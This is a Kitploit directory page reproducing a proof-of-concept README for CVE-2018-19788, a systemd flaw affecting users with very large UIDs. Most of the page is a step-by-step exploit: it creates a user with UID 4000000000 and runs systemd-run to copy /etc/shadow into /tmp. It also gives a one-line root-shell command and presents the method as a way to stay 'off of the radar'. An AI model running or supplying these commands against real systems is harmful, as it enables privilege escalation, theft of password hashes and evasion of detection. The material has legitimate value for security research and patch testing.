Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
PoC — Leveraging CVE-2018-19788 without root shells | Kitploit
Tools/GitHubGitHub/ekultek/poc
Privilege EscalationVulnerability AnalysisExploitationPost-ExploitationPenetration TestingRed Teaming
GitHubekultek/poc

PoC

Leveraging CVE-2018-19788 without root shells

View Repository
1977 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Leveraging CVE-2018-19788 to dump protected files without root shell

CVE-2018-19788 is an issue where any user with a UID over INT_MAX (IE 4000000000) can run any systemctl command on a systemd linux box, such as Ubuntu. (There is already a writeup to gain a root shell found: here). The main difference between this writeup and the full root shell writeup is that this will be run as the user itself instead of a root user (basically just a PoC to be honest)

Getting /etc/shadow without executing a root shell

To get a root shell it's as simple as running systemd-run -t /bin/bash but if you want to keep off of the radar you can run simple commands to get privileged files without a terminal. Follow these steps to do it:

  • Add a user with a UID above INT_MAX:
    root@kitploit:~
    adduser --uid 4000000000 someusername
    
  • Switch into the user account:
    root@kitploit:~
    su someusername
    
  • Run the command for whatever file you would like (we'll use /etc/shadow for this):
    root@kitploit:~
    systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
    
  • Your file is now in /tmp:
    root@kitploit:~
    cat /tmp/results_poc.txt
    

PoC video

to_video

Download Tool